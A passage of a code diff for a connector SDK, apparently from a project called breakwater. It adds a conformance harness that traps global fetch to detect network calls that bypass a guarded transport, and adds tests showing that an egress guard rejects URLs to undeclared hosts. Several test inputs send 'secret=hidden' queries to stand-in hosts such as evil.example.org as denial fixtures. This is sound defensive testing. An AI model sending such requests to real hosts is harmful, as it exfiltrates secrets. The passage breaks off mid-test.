+  return undefined;
+};
+
+function describeDescriptor(d: PropertyDescriptor | undefined): string {
+  if (d === undefined) return 'absent property';
+  if (!('value' in d)) return `accessor (configurable: ${d.configurable})`;
+  return `data property (writable: ${d.writable}, configurable: ${d.configurable})`;
+}
+
+/**
+ * The vocabulary for a value a consumer's own code threw: the error's message
+ * where it reads as one, otherwise the value's own string form. A function is
+ * described by type instead, because its string form is its source text.
+ * `describeValue` is the other vocabulary, for a value the subject threw.
+ */
+function errorMessage(error: unknown): string {
+  try {
+    if (error instanceof Error) {
+      const message = error.message;
+      return typeof message === 'string' ? message : 'unreadable error';
+    }
+    return typeof error === 'string'
+      ? error
+      : typeof error === 'object'
+        ? error === null
+          ? 'null'
+          : 'a non-Error object'
+        : typeof error === 'function'
+          ? describeValue(error)
+          : String(error);
+  } catch {
+    return 'unreadable error';
+  }
+}
+
+/**
+ * The connector owns `constructor.name`, so the reason carries it only when it
+ * is a plain identifier of at most 64 characters. Anything else joins the
+ * unavailable and unreadable names as `unknown`.
+ */
+const CONSTRUCTOR_NAME_PATTERN = /^[A-Za-z_$][A-Za-z0-9_$]{0,63}$/;
+
+function errorConstructorName(value: unknown): string {
+  try {
+    const name = Object.getPrototypeOf(value)?.constructor?.name;
+    return typeof name === 'string' && CONSTRUCTOR_NAME_PATTERN.test(name)
+      ? name
+      : 'unknown';
+  } catch {
+    return 'unknown';
+  }
+}
+
+/**
+ * Which kind of failure a subject's thrown value is, for a value the harness
+ * does not own: each `instanceof` walks a prototype chain the connector can
+ * trap, so the whole classification sits inside one `try` and a value that
+ * cannot say what it is takes the `foreign` branch. Prefer this where the
+ * answer is a classification over several constructors; prefer `isInstanceOf`
+ * for a single constructor, and `readProperty` for one property of such a
+ * value.
+ */
+function classifyInvocationError(
+  value: unknown,
+): 'boundary' | 'policy' | 'refusal' | 'foreign' {
+  try {
+    if (
+      value instanceof ConnectorValidationError ||
+      value instanceof ConnectorInvocationError
+    ) {
+      return 'boundary';
+    }
+    if (value instanceof ConnectorPolicyError) return 'policy';
+    if (value instanceof ConformanceRefusal) return 'refusal';
+    return 'foreign';
+  } catch {
+    return 'foreign';
+  }
+}
+
+function invocationFailureReason(error: unknown): string {
+  try {
+    return `case invocation failed with ${error instanceof Error ? errorConstructorName(error) : describeValue(error)}`;
+  } catch {
+    return 'case invocation failed with unknown';
+  }
+}
+
+/**
+ * The vocabulary for a value the SUBJECT threw or returned: its type, and
+ * nothing of the value itself. A reason built from it carries no byte the
+ * subject supplied.
+ */
+function describeValue(value: unknown): string {
+  if (value === undefined) return 'undefined';
+  if (value === null) return 'null';
+  return `${typeof value === 'object' ? 'an' : 'a'} ${typeof value}`;
+}
+
+function unregisteredReason(value: unknown): string {
+  return `the factory returned ${describeValue(value)} that this copy of createConnector() did not build${
+    typeof value === 'object' && value !== null
+      ? ': a plain Mastra tool, or a connector from a second copy of the package'
+      : ''
+  }`;
+}
+
+/** Calls after a replacement the harness knows the trap did not serve. */
+const CALLS_UNOBSERVED = '; calls made after the replacement were not observed';
+/** Calls after a replacement the harness did not determine either way. */
+const CALLS_UNCHECKED =
+  '; whether calls made after the replacement reached the trap was not checked';
+
+function verifyEntries(
+  stack: readonly CapturedEntry[],
+  record: RecordFinding,
+): boolean {
+  let intact = true;
+  for (const entry of stack) {
+    const { target, property, label, trap: installedTrap } = entry;
+    let shape: string;
+    let difference = 'descriptor differs from the one the harness installed';
+    // Empty where a data property still holds the installed trap, so calls
+    // kept reaching it, and on the catch arm, where neither the descriptor nor
+    // the effective value could be read.
+    let calls = '';
+    try {
+      const descriptor = Object.getOwnPropertyDescriptor(target, property);
+      shape = describeDescriptor(descriptor);
+      if (holdsInstalledDescriptor(entry, descriptor)) {
+        const effective = (target as Record<string, unknown>)[property];
+        if (effective === installedTrap) continue;
+        difference = 'effective value differs from the installed trap';
+        calls = CALLS_UNOBSERVED;
+        shape += ` resolving to ${describeValue(effective)}`;
+      } else if (descriptor !== undefined && 'value' in descriptor) {
+        if (descriptor.value !== installedTrap) calls = CALLS_UNOBSERVED;
+      } else if (descriptor !== undefined) {
+        // An accessor answers each read itself, so the descriptor says nothing
+        // about what a call after the replacement reached, and the harness does
+        // not invoke a consumer's getter to find out.
+        calls = CALLS_UNCHECKED;
+      } else {
+        // The entry point is gone, so a read after the replacement resolves
+        // through the prototype chain or to undefined, and not to the trap.
+        calls = CALLS_UNOBSERVED;
+      }
+    } catch {
+      difference = 'descriptor or effective value could not be verified';
+      shape = 'an unreadable property or own descriptor';
+    }
+    intact = false;
+    record({
+      code: 'INSTRUMENTATION_REPLACED',
+      reason: `${label} ${difference}: ${shape}${calls}`,
+    });
+  }
+  return intact;
+}
+
+function holdsInstalledDescriptor(
+  entry: CapturedEntry,
+  descriptor: PropertyDescriptor | undefined,
+): boolean {
+  const installed = entry.installedDescriptor;
+  return (
+    descriptor !== undefined &&
+    descriptor.enumerable === installed.enumerable &&
+    descriptor.configurable === installed.configurable &&
+    ('value' in installed
+      ? 'value' in descriptor &&
+        descriptor.value === entry.trap &&
+        descriptor.writable === installed.writable
+      : !('value' in descriptor) &&
+        descriptor.get === installed.get &&
+        descriptor.set === installed.set)
+  );
+}
+
+function restoreEntries(
+  stack: readonly CapturedEntry[],
+  record: RecordFinding,
+): boolean {
+  const failures: { label: string; error: unknown }[] = [];
+  for (const { target, property, descriptor, label } of [...stack].reverse()) {
+    try {
+      if (descriptor !== undefined) {
+        Object.defineProperty(target, property, descriptor);
+      } else {
+        delete (target as Record<string, unknown>)[property];
+      }
+      const back = Object.getOwnPropertyDescriptor(target, property);
+      const same =
+        descriptor !== undefined
+          ? back !== undefined &&
+            'value' in back &&
+            Object.is(back.value, descriptor.value) &&
+            back.writable === descriptor.writable &&
+            back.enumerable === descriptor.enumerable &&
+            back.configurable === descriptor.configurable
+          : back === undefined;
+      if (!same)
+        throw new Error(
+          'restored descriptor differs from the captured descriptor',
+        );
+    } catch (error) {
+      failures.push({ label, error });
+    }
+  }
+  for (const { label, error } of failures) {
+    try {
+      record({
+        code: 'INSTRUMENTATION_NOT_RESTORED',
+        reason: `assertConnectorConformance could not restore ${label}: ${errorMessage(error)}`,
+      });
+    } catch {
+      // Diagnostics cannot interrupt restoration or the caller's timer cleanup.
+    }
+  }
+  return failures.length === 0;
+}
+
+function installEntries(
+  entries: readonly ConnectorConformanceEntryPoint[],
+  escapes: PhaseSink<ConnectorConformanceEscape>,
+  record: RecordFinding,
+  installer: 'case' | 'probe factory',
+): InstalledEntries {
+  const stack: CapturedEntry[] = [];
+  const assigned = new Set<string>();
+  for (const entry of entries) {
+    const { target, property, label } = entry;
+    const completed = stack.length;
+    try {
+      const descriptor = Object.getOwnPropertyDescriptor(target, property);
+      if (!instrumentable(descriptor)) {
+        throw new Error(
+          `${describeDescriptor(descriptor)} (a data property that is configurable or writable is required)`,
+        );
+      }
+      if (descriptor === undefined) {
+        const inherited = firstInherited(target, property);
+        if (inherited !== undefined && !('value' in inherited)) {
+          throw new Error('inherited accessor');
+        }
+      }
+      const replacement = trap(label, escapes);
+      const installedDescriptor: PropertyDescriptor =
+        descriptor === undefined || descriptor.configurable === true
+          ? {
+              get: () => replacement,
+              set: () => {
+                if (assigned.has(label)) return;
+                assigned.add(label);
+                record({
+                  code: 'INSTRUMENTATION_REPLACED',
+                  reason: `the ${installer} assigned ${label} during execution; the assignment was not applied and the trap was kept`,
+                });
+              },
+              enumerable: descriptor?.enumerable ?? true,
+              configurable: true,
+            }
+          : { ...descriptor, value: replacement };
+      const captured = {
+        ...entry,
+        descriptor,
+        trap: replacement,
+        installedDescriptor,
+      };
+      // A mediated write can mutate the target before it throws.
+      stack.push(captured);
+      if ('value' in installedDescriptor) {
+        (target as Record<string, unknown>)[property] = replacement;
+      } else {
+        Object.defineProperty(target, property, installedDescriptor);
+      }
+      const d = Object.getOwnPropertyDescriptor(target, property);
+      if (!holdsInstalledDescriptor(captured, d)) {
+        throw new Error(
+          'post-install own descriptor differs from the trap descriptor',
+        );
+      }
+      if ((target as Record<string, unknown>)[property] !== replacement) {
+        throw new Error(
+          'effective-read mismatch: property does not resolve to the trap',
+        );
+      }
+    } catch (error) {
+      verifyEntries(stack.slice(0, completed), record);
+      const restored = restoreEntries(stack, record);
+      record({
+        code: 'INSTRUMENTATION_UNSUPPORTED',
+        reason: `assertConnectorConformance cannot instrument ${label}: ${errorMessage(error)}`,
+      });
+      return { stack: undefined, assigned, restored };
+    }
+  }
+  return { stack, assigned, restored: true };
+}
+
+function raceTimeout(
+  invocation: Promise<unknown>,
+  timeoutMs: number,
+  onTimeout: () => void,
+  captureTimer: (handle: unknown) => void,
+): Promise<unknown> {
+  return new Promise((resolve, reject) => {
+    let settled = false;
+    const timer = globalTimers().setTimeout(() => {
+      if (settled) return;
+      settled = true;
+      onTimeout();
+      reject(new ConformanceRefusal('case timed out'));
+    }, timeoutMs);
+    captureTimer(timer);
+    invocation.then(
+      (value) => {
+        if (settled) return;
+        settled = true;
+        resolve(value);
+      },
+      (error: unknown) => {
+        if (settled) return;
+        settled = true;
+        reject(error);
+      },
+    );
+  });
+}
+
+function escapeFinding(
+  attempt: ConnectorConformanceEscape,
+): ConnectorConformanceFinding {
+  return {
+    code: 'NETWORK_IO_OUTSIDE_RUNTIME_FETCH',
+    // A call the supplied base transport refused reached the harness's own
+    // transport rather than going around it; CONNECTORS.md states the
+    // conditions it refuses on. A call on any other entry point reached an
+    // instrument the connector was not given, which is the bypass.
+    reason:
+      attempt.entryPoint === POLICIES_FETCH_LABEL
+        ? `connector reached ${attempt.entryPoint} for a host the registered egress declaration does not cover (host: ${attempt.host ?? 'unparseable'})`
+        : `connector reached ${attempt.entryPoint} outside runtime.fetch (host: ${attempt.host ?? 'unparseable'})`,
+  };
+}
+
+/**
+ * The same finding at run level, naming the phase that had already ended when
+ * it arrived. A finding recorded here belongs to no case: the case result it
+ * would have joined is already on the report. `settledCase` carries that case's
+ * name as a field beside the reason, for a caller reading the report by machine;
+ * the probe phase ends under no case name and passes none.
+ */
+function observedAfter(
+  finding: ConnectorConformanceFinding,
+  phase: string,
+  settledCase?: string,
+): ConnectorConformanceFinding {
+  return {
+    ...finding,
+    ...(settledCase === undefined ? {} : { observedAfterCase: settledCase }),
+    reason: `${finding.reason}; observed after ${phase}`,
+  };
+}
+
+/**
+ * A value a connector registry can hold as a key. `createConnector()`
+ * registers the tool it returns, so a value that cannot be a key is one no
+ * registry answers for.
+ */
+function registrySubject(value: unknown): object | undefined {
+  return (typeof value === 'object' && value !== null) ||
+    typeof value === 'function'
+    ? (value as object)
+    : undefined;
+}
+
+/** What a case proved, and the hosts the classification read. */
+interface CaseObservation {
+  readonly proved: ConnectorConformanceCaseResult['proved'];
+  readonly guardedHosts: readonly string[];
+}
+
+/** Everything an eligible case measured, as the classification reads it. */
+interface CaseEvidence {
+  readonly expect: ConnectorConformanceCase['expect'];
+  /** The registered egress declaration, read once for the run. */
+  readonly declaredEgress: readonly string[];
+  readonly escapes: readonly ConnectorConformanceEscape[];
+  readonly witnesses: readonly AuditEvent[];
+  readonly transportCalls: number;
+  readonly transportHosts: readonly string[];
+  /** Present when the invocation threw; the value is inside it. */
+  readonly invocation: { readonly thrown: unknown } | undefined;
+}
+
+/**
+ * Classify a case that was invoked, kept its instrumentation and settled in
+ * time. It reads measurements and records findings; it performs no I/O and
+ * holds no state between cases.
+ */
+function observeCase(
+  evidence: CaseEvidence,
+  record: RecordFinding,
+): CaseObservation {
+  const guardedHosts = [...new Set(evidence.transportHosts)];
+  // A value whose classification cannot be read is by definition none of the
+  // three known kinds, so it takes the foreign branch.
+  const invocationKind = classifyInvocationError(evidence.invocation?.thrown);
+  const boundaryError = invocationKind === 'boundary';
+  if (evidence.invocation !== undefined && invocationKind === 'foreign') {
+    record({
+      code: 'CASE_INVOCATION_FAILED',
+      reason: invocationFailureReason(evidence.invocation.thrown),
+    });
+  }
+  const missingFetch =
+    evidence.transportCalls === 0 &&
+    evidence.escapes.some(
+      (attempt) =>
+        attempt.entryPoint === GLOBAL_FETCH_LABEL &&
+        attempt.host !== null &&
+        egressDomainAllowed(attempt.host, evidence.declaredEgress),
+    );
+  const missingAudit = !boundaryError && evidence.witnesses.length === 0;
+  if (missingFetch || missingAudit) {
+    record({
+      code: 'POLICIES_NOT_WIRED',
+      member: missingFetch ? (missingAudit ? 'both' : 'fetch') : 'audit',
+      reason: missingFetch
+        ? 'either the factory did not wire policies.fetch, or the connector called the ambient global directly for a host it declares; the escape record beside this finding is authoritative for the request itself.' +
+          (missingAudit
+            ? ' The subject recorded no audit witness on the supplied logger.'
+            : '')
+        : // A failed invocation is evidence the boundary was NOT reached, so
+          // the absent witness is what that failure left behind, not a wiring
+          // conclusion the run can draw.
+          evidence.invocation !== undefined
+          ? 'the invocation failed before the subject could record an audit witness on the supplied logger'
+          : 'the subject reached its gate boundary but recorded no audit witness on the supplied logger; wire policies.audit',
+    });
+  }
+  if (boundaryError && evidence.witnesses.length === 0) {
+    record({
+      code: 'CASE_EXPECTATION_UNMET',
+      reason:
+        "the case produced no audit event because the connector's gate boundary was never reached; a pre-boundary refusal is not expressible by any expectation and belongs in an ordinary connector test",
+    });
+    return { proved: 'nothing', guardedHosts };
+  }
+  const proved = evidence.witnesses.some(
+    (event) =>
+      event.decision === 'denied' && event.policyKind === 'egress-fetch',
+  )
+    ? 'guarded-denial'
+    : evidence.witnesses.some(
+          (event) =>
+            event.decision === 'denied' && event.policyKind !== 'egress-fetch',
+        )
+      ? 'policy-denied'
+      : guardedHosts.length > 0
+        ? 'guarded-request'
+        : 'no-network';
+  const expected = evidence.expect;
+  const evidenceMatches =
+    expected.outcome === 'guarded-request'
+      ? expected.hosts.every((host) =>
+          guardedHosts.some((actual) => egressDomainAllowed(actual, [host])),
+        )
+      : expected.outcome === 'no-network' ||
+        evidence.witnesses.some(
+          (event) => event.decisionCode === expected.code,
+        );
+  if (proved !== expected.outcome || !evidenceMatches) {
+    record({
+      code: 'CASE_EXPECTATION_UNMET',
+      reason: `case expected ${expected.outcome} but proved ${proved}, or its required hosts or code were not observed`,
+    });
+  }
+  return { proved, guardedHosts };
+}
+
+export function createConformanceAssertion(collaborators: {
+  connectorManifest: (tool: object) => PermissionManifest | undefined;
+  connectorEgressPosture: (tool: object) => ConnectorEgressPosture | undefined;
+  invokeConnector: <TInput, TOutput>(
+    connector: Connector<TInput, TOutput>,
+    input: TInput,
+    options?: ConnectorInvocationOptions,
+  ) => Promise<TOutput>;
+}) {
+  const { connectorManifest, connectorEgressPosture, invokeConnector } =
+    collaborators;
+  return async function assertConnectorConformance<TInput, TOutput>(
+    factory: ConnectorConformanceFactory<TInput, TOutput>,
+    rawOptions: ConnectorConformanceOptions<TInput>,
+  ): Promise<ConnectorConformanceReport> {
+    const normalized = validateOptions(rawOptions);
+    requireGlobal<TimerGlobals['setTimeout']>('setTimeout');
+    requireGlobal<TimerGlobals['clearTimeout']>('clearTimeout');
+    requireGlobal<UrlConstructor>('URL');
+    requireGlobal<TextEncoderConstructor>('TextEncoder');
+    const globalEntry = {
+      label: GLOBAL_FETCH_LABEL,
+      target: globalThis,
+      property: 'fetch',
+    };
+    const entries = [globalEntry, ...(normalized.entryPoints ?? [])];
+    for (const [index, entry] of entries.entries()) {
+      const previous = entries
+        .slice(0, index)
+        .find(
+          (other) =>
+            other.target === entry.target && other.property === entry.property,
+        );
+      if (previous !== undefined) {
+        refuseRun([
+          {
+            code: 'INSTRUMENTATION_UNSUPPORTED',
+            reason: `${previous.label} and ${entry.label} name the same target and property`,
+          },
+        ]);
+      }
+    }
+    if (activeRun !== undefined) {
+      refuseRun([
+        {
+          code: 'RUN_OVERLAPPING',
+          reason: 'another conformance run is active in this isolate',
+        },
+      ]);
+    }
+    if (poisonedByCase !== undefined) {
+      refuseRun([
+        {
+          code: 'ISOLATE_POISONED',
+          reason: `case '${poisonedByCase}' timed out in this isolate; no further run is accepted`,
+        },
+      ]);
+    }
+    activeRun = Symbol();
+    const findings: ConnectorConformanceFinding[] = [];
+    const cases: ConnectorConformanceCaseResult[] = [];
+    const instrumented = new Set<string>();
+    let posture: ConnectorEgressPosture | undefined;
+    let runClosed = false;
+    const recordRun: RecordFinding = (finding) => {
+      // The run is closed and the report the caller holds is fixed, so this
+      // finding is recorded nowhere: CONFORMANCE_LIMIT covers a run for the
+      // duration of its own cases.
+      if (runClosed) return;
+      findings.push(finding);
+    };
+    /**
+     * Close the run and take the findings its report delivers: the flag is
+     * set here, and what the report carries is a copy the recorders can no
+     * longer reach.
+     */
+    const closeRun = (): readonly ConnectorConformanceFinding[] => {
+      runClosed = true;
+      return [...findings];
+    };
+    try {
+      const probeEscapes = phaseSink<ConnectorConformanceEscape>(
+        (attempt) => {
+          recordRun(escapeFinding(attempt));
+        },
+        (attempt) => {
+          recordRun(
+            observedAfter(escapeFinding(attempt), 'the probe factory returned'),
+          );
+        },
+      );
+      const probeInstall = installEntries(
+        [globalEntry],
+        probeEscapes,
+        recordRun,
+        'probe factory',
+      );
+      const probeStack = probeInstall.stack;
+      if (probeStack === undefined) return refuseRun(closeRun());
+      let probe: unknown;
+      let factoryFailed = false;
+      let probeIntact = true;
+      let probeRestored = true;
+      try {
+        const probeTransport = createCaseTransport(
+          connectorManifest,
+          undefined,
+          probeEscapes,
+        );
+        const probeLogger = new AuditLogger({
+          // The probe reads no event. The sink is what makes the logger an
+          // exporting one, which a factory's own policies can require.
+          sink: () => {},
+        });
+        probe = factory({
+          policies: Object.freeze({
+            fetch: probeTransport.fetch,
+            audit: probeLogger,
+          }),
+        });
+      } catch (error) {
+        factoryFailed = true;
+        recordRun({ code: 'FACTORY_FAILED', reason: errorMessage(error) });
+      } finally {
+        probeIntact = verifyEntries(probeStack, recordRun);
+        probeRestored = restoreEntries(probeStack, recordRun);
+      }
+      probeEscapes.close();
+      if (
+        factoryFailed ||
+        !probeIntact ||
+        !probeRestored ||
+        probeInstall.assigned.size > 0
+      ) {
+        return refuseRun(closeRun());
+      }
+      const probeSubject = registrySubject(probe);
+      posture =
+        probeSubject === undefined
+          ? undefined
+          : connectorEgressPosture(probeSubject);
+      const probeManifest =
+        probeSubject === undefined
+          ? undefined
+          : connectorManifest(probeSubject);
+      if (posture === undefined || probeManifest === undefined) {
+        recordRun({
+          code: 'SUBJECT_UNREGISTERED',
+          reason: unregisteredReason(probe),
+        });
+      } else {
+        if (posture !== 'enforced') {
+          recordRun({
+            code: 'POSTURE_NOT_ENFORCED',
+            reason: 'the connector declares a declaration-only egress posture',
+          });
+        }
+        // One read of the claimed manifest's members: a getter cannot answer
+        // one way for this comparison and another way afterwards.
+        const claimedManifest = { ...normalized.manifest };
+        if (!manifestsMatch(claimedManifest, probeManifest)) {
+          recordRun({
+            code: 'MANIFEST_MISMATCH',
+            reason: 'the registered manifest differs from the claimed manifest',
+          });
+        }
+        if (posture === 'enforced') {
+          // The registered egress declaration, read once for the whole run.
+          const declaredEgress = probeManifest.egress ?? [];
+          if (normalized.cases.length === 0) {
+            recordRun({
+              code: 'NO_CASES',
+              reason: 'an empty case set supplies no conformance evidence',
+            });
+          }
+          let invokedAny = false;
+          let stopped = false;
+          for (const [index, c] of normalized.cases.entries()) {
+            const caseName = c.name;
+            const settled = `case '${caseName}' settled`;
+            const escapes: ConnectorConformanceEscape[] = [];
+            const caseFindings: ConnectorConformanceFinding[] = [];
+            const escapeSink = phaseSink<ConnectorConformanceEscape>(
+              (attempt) => {
+                escapes.push(attempt);
+              },
+              (attempt) => {
+                recordRun(
+                  observedAfter(escapeFinding(attempt), settled, caseName),
+                );
+              },
+            );
+            const findingSink = phaseSink<ConnectorConformanceFinding>(
+              (finding) => {
+                const scoped = { ...finding, case: caseName };
+                recordRun(scoped);
+                caseFindings.push(scoped);
+              },
+              (finding) => {
+                recordRun(observedAfter(finding, settled, caseName));
+              },
+            );
+            const recordCase: RecordFinding = findingSink.record;
+            const caseInstall = installEntries(
+              entries,
+              escapeSink,
+              recordCase,
+              'case',
+            );
+            let caseTransport: CaseTransport | undefined;
+            const caseAuditEvents: {
+              readonly event: AuditEvent;
+              readonly inWindow: boolean;
+            }[] = [];
+            let inWindow = false;
+            let subjectId: string | undefined;
+            const isWitness = (e: { event: AuditEvent; inWindow: boolean }) =>
+              e.inWindow &&
+              e.event.decisionCode !== undefined &&
+              e.event.resource === subjectId;
+            let invoked = false;
+            let timedOut = false;
+            let instrumentationIntact = true;
+            let invocation: { readonly thrown: unknown } | undefined;
+            let restoredAfterCase = true;
+            let timer: unknown;
+            const caseStack = caseInstall.stack;
+            if (caseStack !== undefined) {
+              for (const entry of caseStack) instrumented.add(entry.label);
+              try {
+                caseTransport = createCaseTransport(
+                  connectorManifest,
+                  c.respond,
+                  escapeSink,
+                );
+                const caseLogger = new AuditLogger({
+                  sink: (event) => {
+                    try {
+                      // The witness set holds the harness's own copy of every
+                      // event, never the object the connector still holds.
+                      caseAuditEvents.push({ event: { ...event }, inWindow });
+                    } catch {
+                      // An event that cannot be copied leaves no witness, so
+                      // the case reports absent wiring rather than accepting
+                      // evidence the harness could not read.
+                    }
+                  },
+                });
+                let produced: { readonly value: unknown } | undefined;
+                try {
+                  produced = {
+                    value: factory({
+                      policies: Object.freeze({
+                        fetch: caseTransport.fetch,
+                        audit: caseLogger,
+                      }),
+                    }),
+                  };
+                } catch (error) {
+                  recordCase({
+                    code: 'FACTORY_FAILED',
+                    reason: errorMessage(error),
+                  });
+                }
+                if (produced !== undefined) {
+                  const caseSubject = registrySubject(produced.value);
+                  const casePosture =
+                    caseSubject === undefined
+                      ? undefined
+                      : connectorEgressPosture(caseSubject);
+                  const caseManifest =
+                    caseSubject === undefined
+                      ? undefined
+                      : connectorManifest(caseSubject);
+                  if (
+                    caseSubject === undefined ||
+                    casePosture === undefined ||
+                    caseManifest === undefined
+                  ) {
+                    recordCase({
+                      code: 'SUBJECT_UNREGISTERED',
+                      reason: unregisteredReason(produced.value),
+                    });
+                  } else if (casePosture !== posture) {
+                    recordCase({
+                      code: 'POSTURE_NOT_ENFORCED',
+                      reason: 'the case subject posture differs from the probe',
+                    });
+                  } else if (!manifestsMatch(probeManifest, caseManifest)) {
+                    recordCase({
+                      code: 'MANIFEST_MISMATCH',
+                      reason:
+                        'the case subject manifest differs from the probe',
+                    });
+                  } else {
+                    // The registry answered for this subject, so it is a
+                    // connector createConnector() built.
+                    const connector = caseSubject as Connector<TInput, TOutput>;
+                    caseTransport.bind(connector);
+                    subjectId = connector.id;
+                    invoked = true;
+                    invokedAny = true;
+                    inWindow = true;
+                    await raceTimeout(
+                      invokeConnector(connector, c.input, c.invocation),
+                      c.timeoutMs ?? DEFAULT_CASE_TIMEOUT_MS,
+                      () => {
+                        timedOut = true;
+                      },
+                      (handle) => {
+                        timer = handle;
+                      },
+                    );
+                  }
+                }
+              } catch (error) {
+                if (timedOut) {
+                  poisonedByCase = caseName;
+                  recordCase({
+                    code: 'CASE_TIMEOUT',
+                    reason: `case '${caseName}' timed out after ${c.timeoutMs ?? DEFAULT_CASE_TIMEOUT_MS} ms`,
+                  });
+                } else {
+                  invocation = { thrown: error };
+                }
+              } finally {
+                inWindow = false;
+                instrumentationIntact = verifyEntries(caseStack, recordCase);
+                restoredAfterCase = restoreEntries(caseStack, recordCase);
+                if (timer !== undefined) {
+                  try {
+                    globalTimers().clearTimeout(timer);
+                  } catch {
+                    // The settled race ignores a timer whose cleanup fails.
+                  }
+                }
+              }
+            }
+            const caseEscapes = [...escapes];
+            escapeSink.close();
+            for (const attempt of caseEscapes)
+              recordCase(escapeFinding(attempt));
+            if (
+              !invoked &&
+              invocation !== undefined &&
+              // A refusal is the harness's own throw: the attempt behind it is
+              // already a NETWORK_IO_OUTSIDE_RUNTIME_FETCH finding, and the
+              // sentinel names a class no consumer can see. The invoked path
+              // excludes it through the same classification.
+              classifyInvocationError(invocation.thrown) !== 'refusal'
+            ) {
+              recordCase({
+                code: 'CASE_INVOCATION_FAILED',
+                reason: invocationFailureReason(invocation.thrown),
+              });
+            }
+            const witnesses = caseAuditEvents
+              .filter(isWitness)
+              .map((e) => e.event);
+            const decisionCodes = caseAuditEvents
+              .filter((e) => e.inWindow)
+              .map((e) => e.event.decisionCode);
+            const transportCalls = caseTransport?.calls() ?? 0;
+            // An invocation failure under a replaced instrument or a timeout
+            // raises no CASE_INVOCATION_FAILED of its own: the case is
+            // ineligible, and the INSTRUMENTATION_REPLACED or CASE_TIMEOUT
+            // finding beside it is why it proves nothing.
+            const eligible = invoked && !timedOut && instrumentationIntact;
+            const observation: CaseObservation = eligible
+              ? observeCase(
+                  {
+                    expect: c.expect,
+                    declaredEgress,
+                    escapes: caseEscapes,
+                    witnesses,
+                    transportCalls,
+                    transportHosts: caseTransport?.hosts() ?? [],
+                    invocation,
+                  },
+                  recordCase,
+                )
+              : { proved: 'nothing', guardedHosts: [] };
+            cases.push({
+              name: caseName,
+              proved: observation.proved,
+              guardedHosts: observation.guardedHosts,
+              escapes: caseEscapes,
+              decisionCodes: eligible ? decisionCodes : [],
+              transportCalls,
+              auditEvents: witnesses.length,
+              findings: [...caseFindings],
+            });
+            findingSink.close();
+            const restorationFailed =
+              !caseInstall.restored || !restoredAfterCase;
+            const stoppingCode = timedOut
+              ? 'CASE_TIMEOUT'
+              : restorationFailed
+                ? 'INSTRUMENTATION_NOT_RESTORED'
+                : undefined;
+            if (stoppingCode !== undefined) {
+              const remaining = normalized.cases
+                .slice(index + 1)
+                .map((remainingCase) => remainingCase.name);
+              if (remaining.length > 0) {
+                recordRun({
+                  code: stoppingCode,
+                  reason: `skipped cases ${remaining.join(', ')} after ${stoppingCode} in '${caseName}'`,
+                });
+              }
+              stopped = true;
+              break;
+            }
+          }
+          if (
+            invokedAny &&
+            !stopped &&
+            declaredEgress.length > 0 &&
+            !cases.some((c) => c.transportCalls > 0)
+          ) {
+            recordRun({
+              code: 'NO_TRANSPORT_EVIDENCE',
+              reason:
+                'no case reached the harness transport for the registered egress declaration',
+            });
+          }
+        }
+      }
+    } finally {
+      activeRun = undefined;
+    }
+    const runFindings = closeRun();
+    const report: ConnectorConformanceReport = {
+      conformant: runFindings.length === 0,
+      ...(posture === undefined ? {} : { posture }),
+      instrumented: [...instrumented],
+      cases: [...cases],
+      findings: runFindings,
+      limit: CONFORMANCE_LIMIT,
+    };
+    if (!report.conformant) throw new ConnectorConformanceError(report);
+    return report;
+  };
+}
diff --git a/packages/breakwater/src/connector-sdk/egress-fetch.test.ts b/packages/breakwater/src/connector-sdk/egress-fetch.test.ts
index 893a3947..97a1defd 100644
--- a/packages/breakwater/src/connector-sdk/egress-fetch.test.ts
+++ b/packages/breakwater/src/connector-sdk/egress-fetch.test.ts
@@ -4,6 +4,7 @@ import { describe, expect, it, vi } from 'vitest';
 import {
   type EgressDenial,
   EgressDeniedError,
+  EgressGuardError,
   egressFetch,
 } from './egress-fetch.js';
 
@@ -50,6 +51,230 @@ function hopHeaders(call: BaseCall): { get(name: string): string | null } {
   return call.init?.headers as { get(name: string): string | null };
 }
 
+describe('egress decision metadata', () => {
+  it.each([
+    {
+      input: { url: 'https://api.example.com/private?secret=hidden' },
+      code: 'EGRESS_INPUT_INVALID',
+      host: null,
+    },
+    { input: '/private?secret=hidden', code: 'EGRESS_URL_INVALID', host: null },
+    {
+      input: 'ftp://api.example.com/private?secret=hidden',
+      code: 'EGRESS_SCHEME_NOT_ALLOWED',
+      host: 'api.example.com',
+    },
+    {
+      input: 'data:text/plain,hidden',
+      code: 'EGRESS_SCHEME_NOT_ALLOWED',
+      host: '',
+    },
+    {
+      input: 'https://EVIL.EXAMPLE.ORG./private?secret=hidden',
+      code: 'EGRESS_HOST_NOT_DECLARED',
+      host: 'evil.example.org',
+      legacyHost: 'evil.example.org.',
+    },
+    {
+      input: 'https://[::1]/private?secret=hidden',
+      code: 'EGRESS_HOST_NOT_DECLARED',
+      host: '[::1]',
+    },
+    {
+      input: 'https://_service.example.com/private?secret=hidden',
+      code: 'EGRESS_HOST_NOT_DECLARED',
+      host: '_service.example.com',
+    },
+    {
+      input: 'https://a!b.example.com/private?secret=hidden',
+      code: 'EGRESS_HOST_NOT_DECLARED',
+      host: 'a!b.example.com',
+    },
+    {
+      input: 'https://-host.example.com/private?secret=hidden',
+      code: 'EGRESS_HOST_NOT_DECLARED',
+      host: '-host.example.com',
+    },
+    {
+      input: 'https://foo../private?secret=hidden',
+      code: 'EGRESS_HOST_NOT_DECLARED',
+      host: 'foo.',
+      legacyHost: 'foo..',
+    },
+    {
+      input: 'custom://%F0%9F%8C%90/private?secret=hidden',
+      code: 'EGRESS_SCHEME_NOT_ALLOWED',
+      host: '%f0%9f%8c%90',
+      legacyHost: '%F0%9F%8C%90',
+    },
+  ])('classifies $input as $code without fetching', async ({
+    input,
+    code,
+    host,
+    legacyHost,
+  }) => {
+    const { fn, calls } = baseFetch();
+    const guarded = egressFetch(['api.example.com'], { fetch: fn });
+
+    const failure = await guarded(input as string).catch(
+      (error: unknown) => error,
+    );
+
+    expect(failure).toBeInstanceOf(EgressDeniedError);
+    expect(failure).toMatchObject({
+      kind: 'egress-denied',
+      host: legacyHost ?? host,
+      code,
+      policyKind: 'egress-fetch',
+      retryable: false,
+      details: { host, hop: 0 },
+    });
+    expect(JSON.stringify(failure)).not.toContain('hidden');
+    expect(calls).toHaveLength(0);
+  });
+
+  it.each([
+    {
+      location: 'https://[invalid/private?secret=hidden',
+      code: 'EGRESS_REDIRECT_URL_INVALID',
+      host: null,
+    },
+    {
+      location: 'ftp://api.example.com/private?secret=hidden',
+      code: 'EGRESS_REDIRECT_SCHEME_NOT_ALLOWED',
+      host: 'api.example.com',
+    },
+    {
+      location: 'https://evil.example.org/private?secret=hidden',
